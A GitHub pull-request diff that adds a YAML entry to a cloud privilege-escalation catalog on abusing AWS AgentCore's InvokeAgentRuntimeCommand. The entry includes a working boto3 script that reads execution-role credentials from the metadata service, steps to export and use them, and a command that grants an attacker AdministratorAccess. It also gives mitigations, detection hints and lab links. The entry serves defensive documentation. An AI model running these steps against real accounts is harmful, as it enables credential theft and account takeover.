Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion data/paths/bedrock/bedrock-001.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -157,7 +157,7 @@ relatedPaths:
- ec2-001
- sagemaker-001
detectionTools:
prowler: https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L294
prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L300
cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L183
learningEnvironments:
pathfinding-labs:
Expand Down
2 changes: 1 addition & 1 deletion data/paths/bedrock/bedrock-002.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -117,7 +117,7 @@ relatedPaths:
- glue-002
- ec2-002
detectionTools:
prowler: https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L300
prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L307
cloudsplaining: https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L163
permissions:
required:
Expand Down
304 changes: 304 additions & 0 deletions data/paths/bedrock/bedrock-003.yaml

Large diffs are not rendered by default.

267 changes: 267 additions & 0 deletions data/paths/bedrock/bedrock-004.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,267 @@
id: bedrock-004
name: bedrock-agentcore:InvokeAgentRuntimeCommand
category: existing-passrole
services:
- bedrock-agentcore
description: A principal with `bedrock-agentcore:InvokeAgentRuntimeCommand` can run a shell command as root inside the Firecracker microVM of an existing AgentCore Runtime or Harness, parallel to the customer agent process and bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the role already attached to that resource. This path does not require `iam:PassRole` because the role is already attached to the existing resource. Harness is AgentCore Runtime with a managed agent layer on top, so the same single permission applies to both resource types. Only resources using IAM as their Inbound Auth type are affected; resources configured to use JSON Web Tokens (JWT) reject the call.
prerequisites:
admin:
- An AgentCore Runtime or Harness must exist with an IAM execution role attached
- The resource must use IAM as its Inbound Auth type (resources configured to use JWT reject InvokeAgentRuntimeCommand)
- The execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)
lateral:
- An AgentCore Runtime or Harness must exist with an IAM execution role attached
- The resource must use IAM as its Inbound Auth type
exploitationSteps:
awscli:
- step: 1
command: 'aws bedrock-agentcore-control list-agent-runtimes

aws bedrock-agentcore-control list-harnesses

'
description: List existing runtimes and harnesses to find targets with privileged execution roles
- step: 2
command: aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID
description: Check the resource's execution role ARN to confirm elevated permissions, and note the runtime or harness ARN to target
- step: 3
command: |
cat << 'EOF' > "get_creds_from_runtime.py"
import boto3, sys, uuid
client = boto3.client("bedrock-agentcore", region_name=sys.argv[2])

command = """bash -c '
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
'"""

# sys.argv[1] is the existing runtime ARN or harness ARN
response = client.invoke_agent_runtime_command(
agentRuntimeArn=sys.argv[1],
runtimeSessionId=str(uuid.uuid4()),
body={"command": command, "timeout": 30},
)
for event in response["stream"]:
chunk = event["chunk"]
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
print(chunk["contentDelta"]["stdout"], end="")
EOF
description: Create the python file that submits a root shell command reading the execution role credentials from MMDS on the existing resource. The attacker rarely knows the execution role's alias in advance, so the command first queries the security-credentials path with no name to discover it, then fetches the credential document at the role-specific path, mirroring the EC2 IMDS credential-discovery pattern
- step: 4
command: 'CREDS=$(python3 get_creds_from_runtime.py $TARGET_ARN $AWS_REGION)

echo export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId")

echo export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey")

echo export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token")

'
description: Run the python file against the existing runtime or harness ARN to extract the execution role credentials
- step: 5
command: 'export AWS_ACCESS_KEY_ID=<AccessKeyId from step 4>

export AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 4>

export AWS_SESSION_TOKEN=<Token from step 4>

aws sts get-caller-identity

'
description: Use the stolen credentials to act as the resource execution role
recommendation: |
Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM.

```json
{
"Effect": "Allow",
"Action": "bedrock-agentcore:InvokeAgentRuntimeCommand",
"Resource": "arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:runtime/SpecificRuntime"
}
```

In AWS Organizations, deny the permission org-wide except for an approved allowlist with an SCP:

```json
{
"Effect": "Deny",
"Action": "bedrock-agentcore:InvokeAgentRuntimeCommand",
"Resource": "*",
"Condition": {
"ArnNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/ApprovedAgentCoreOperators"
}
}
}
```

Additional controls:
- Any policy granting the `bedrock-agentcore:*` wildcard includes this permission, including the AWS managed BedrockAgentCoreFullAccess policy; audit principals that hold it
- Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types (Harness manages a Runtime under the hood, so both are covered by these types)
- The auto-created `/aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials
- Scope every AgentCore execution role to least privilege so a stolen role steals nothing it could not already do
- Regularly audit execution roles attached to existing runtimes and harnesses, including the Console-provisioned default service roles
limitations: 'This path provides administrative access only if the target resource execution role has administrative permissions. The attacker gains whatever permissions the resource role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.

'
discoveryAttribution:
firstDocumented:
author: Sergio Garcia
organization: BeyondTrust Phantom Labs
date: 2026
link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation
derivativeOf:
pathId: bedrock-003
modification: Targets an existing Runtime or Harness instead of creating one, eliminating the need for iam:PassRole and the bedrock-agentcore Create permissions; the single InvokeAgentRuntimeCommand permission covers both resource types because Harness manages a Runtime under the hood
references:
- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore'
url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation
- title: Understanding Credentials Management in Amazon Bedrock AgentCore
url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html
- title: AgentCore Harness Environment and Skills
url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-environment.html
- title: AgentCore Runtime command execution security best practices
url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html
relatedPaths:
- bedrock-002
- bedrock-003
- bedrock-005
- ec2-002
- lambda-003
learningEnvironments:
pathfinding-labs:
type: open-source
githubLink: https://github.com/DataDog/pathfinding-labs
scenario: privesc-one-hop/to-admin/bedrockagentcore-invokeagentcommand
description: Deploy Terraform into your own AWS account to practice this attack path
permissions:
required:
- permission: bedrock-agentcore:InvokeAgentRuntimeCommand
resourceConstraints: Target runtime or harness must be in the Resource section and must use IAM as its Inbound Auth type
additional:
- permission: bedrock-agentcore:ListAgentRuntimes
resourceConstraints: List the runtimes that already exist
- permission: bedrock-agentcore:GetAgentRuntime
resourceConstraints: Identify the execution role and Inbound Auth type of a target resource
detectionTools:
prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L314
attackVisualization:
nodes:
- id: start
label: Starting Principal
type: principal
description: The principal with bedrock-agentcore:InvokeAgentRuntimeCommand. Can be an IAM user or role. This attack targets an existing runtime or harness rather than creating one, so iam:PassRole is not required.
- id: agent_resource
label: Existing Runtime or Harness
type: resource
description: An existing AgentCore Runtime or Harness with a privileged execution role already attached, using IAM as its Inbound Auth type. The resource runs on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS.
- id: execution_role
label: Resource Execution Role
type: principal
description: The IAM role attached to the runtime or harness as its execution role. A command submitted through InvokeAgentRuntimeCommand runs as root in the microVM with this role's credentials available on MMDS at the execution_role endpoint. This role must trust bedrock-agentcore.amazonaws.com in its trust policy.
- id: method_sdk_attack
label: 'Method 1: Act directly from the root shell'
type: payload
color: '#99ccff'
description: |
The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything.

Example command body invoked through InvokeAgentRuntimeCommand:
```bash
aws iam attach-user-policy \
--user-name attacker-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```
- id: method_cred_exfil
label: 'Method 2: Exfiltrate credentials to the response stream'
type: payload
color: '#99ccff'
description: |
The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. Since the attacker typically does not know the execution role's alias in advance, the command first queries the security-credentials path with no name to discover it, then fetches the full credential document at the role-specific path, the same two-step pattern used to exfiltrate credentials from EC2's IMDS.

Example command body invoked through InvokeAgentRuntimeCommand:
```bash
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
```

This returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire.
- id: admin
label: Effective Administrator
type: outcome
description: The resource execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account.
- id: some_perms
label: Some additional access
type: outcome
color: '#ffeb99'
description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained.
- id: no_access
label: No additional access
type: outcome
color: '#cccccc'
description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different resource.
edges:
- from: start
to: agent_resource
label: Target existing runtime or harness
description: |
Identify an existing runtime or harness that has a privileged execution role attached and uses IAM Inbound Auth. Use the list and get control-plane calls to discover candidates and confirm their execution role.

Commands:
```bash
aws bedrock-agentcore-control list-agent-runtimes
aws bedrock-agentcore-control list-harnesses
aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID
```
- from: agent_resource
to: execution_role
label: bedrock-agentcore:InvokeAgentRuntimeCommand
description: The attacker submits a shell command that runs as root inside the microVM, parallel to the agent process and bypassing the agent, model and guardrails. The command has access to the execution role credentials through MMDS.
- from: execution_role
to: method_sdk_attack
label: Option A
branch: A
description: The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly.
- from: execution_role
to: method_cred_exfil
label: Option B
branch: B
description: The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location.
- from: method_sdk_attack
to: admin
label: If the execution role has admin permissions
branch: A1
condition: admin
description: If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys.
- from: method_sdk_attack
to: some_perms
label: If the execution role has some elevated permissions
branch: A2
condition: some_permissions
description: If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources.
- from: method_sdk_attack
to: no_access
label: If the execution role has minimal permissions
branch: A3
condition: no_permissions
description: If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would target a different resource.
- from: method_cred_exfil
to: admin
label: If the execution role has admin permissions
branch: B1
condition: admin
description: If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location.
- from: method_cred_exfil
to: some_perms
label: If the execution role has some elevated permissions
branch: B2
condition: some_permissions
description: If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks.
- from: method_cred_exfil
to: no_access
label: If the execution role has minimal permissions
branch: B3
condition: no_permissions
description: If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation.
Loading
Loading